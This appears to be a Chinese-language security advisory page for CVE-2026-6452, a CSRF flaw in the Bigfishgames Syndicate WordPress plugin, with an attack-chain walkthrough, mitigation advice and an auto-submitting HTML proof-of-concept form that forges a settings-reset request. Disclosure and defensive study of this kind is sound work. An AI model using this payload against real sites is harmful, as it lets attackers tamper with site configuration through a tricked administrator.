CVE-2026-6452 CVSS 4.3 中危

CVE-2026-6452: Bigfishgames插件CSRF漏洞

披露日期: 2026-05-20

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-6452

漏洞类型

跨站请求伪造 (CSRF)

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Bigfishgames Syndicate Plugin for WordPress

漏洞概述

WordPress插件Bigfishgames Syndicate在1.2及之前版本存在跨站请求伪造（CSRF）漏洞。该漏洞源于`bigfishgames_syndicate_submenu()`函数缺少nonce验证。未经身份验证的攻击者可诱导管理员点击恶意链接，利用管理员权限重置或更新插件设置。此漏洞风险等级为中危，需尽快修复以防止配置被篡改。

技术细节

该漏洞的核心在于WordPress插件Bigfishgames Syndicate的`bigfishgames_syndicate_submenu()`函数未正确实施安全校验。在WordPress生态中，nonce机制是防止CSRF攻击的关键手段。由于该函数缺失nonce检查，攻击者可以构建恶意的HTML页面或URL，其中包含向插件设置页面提交数据的POST请求。当拥有管理权限的用户在已登录状态下访问攻击者构造的页面时，浏览器会自动附带用户的身份凭证（Cookie）发送请求。服务器端因缺乏校验，无法区分请求是由用户主动发起还是由恶意脚本诱导发起，从而执行了设置修改操作。攻击者无需获取管理员密码，即可利用此漏洞篡改插件配置，可能进一步导致网站功能异常或安全风险。

攻击链分析

STEP 1

侦察

攻击者确认目标网站安装了Bigfishgames Syndicate插件，且版本在1.2及以下。

STEP 2

载荷构造

攻击者构造一个恶意HTML页面，包含针对插件设置页面的POST请求表单，利用`bigfishgames_syndicate_submenu()`函数缺乏nonce验证的缺陷。

STEP 3

社会工程学

攻击者将包含恶意代码的链接发送给目标网站的管理员，诱导其点击访问。

STEP 4

请求执行

管理员在登录状态下访问链接，浏览器自动携带Cookie向服务器发送伪造的设置更新请求。

STEP 5

影响实现

服务器接收并处理请求，导致插件设置被重置或篡改，攻击者无需认证即可实现配置修改。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CSRF PoC for CVE-2026-6452 -->
<!-- This PoC demonstrates how an attacker could forge a request to reset/update plugin settings -->
<html>
  <body>
    <!-- The action URL targets the vulnerable function -->
    <form action="http://target-site/wp-admin/admin.php?page=bigfishgames_syndicate_submenu" method="POST">
      <input type="hidden" name="action" value="reset_settings" />
      <input type="hidden" name="update_option" value="malicious_config" />
      <input type="submit" value="Click me!" />
    </form>
    <script>
      // Automatically submit the form to trigger the attack without user interaction (besides initial page load)
      document.forms[0].submit();
    </script>
  </body>
</html>

影响范围

Bigfishgames Syndicate <= 1.2

防御指南

临时缓解措施

建议暂时卸载该插件，直到官方发布修复版本。或者通过Web应用防火墙（WAF）拦截针对该插件特定路径的异常POST请求。管理员在登录后台时应避免点击不明来源的链接。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表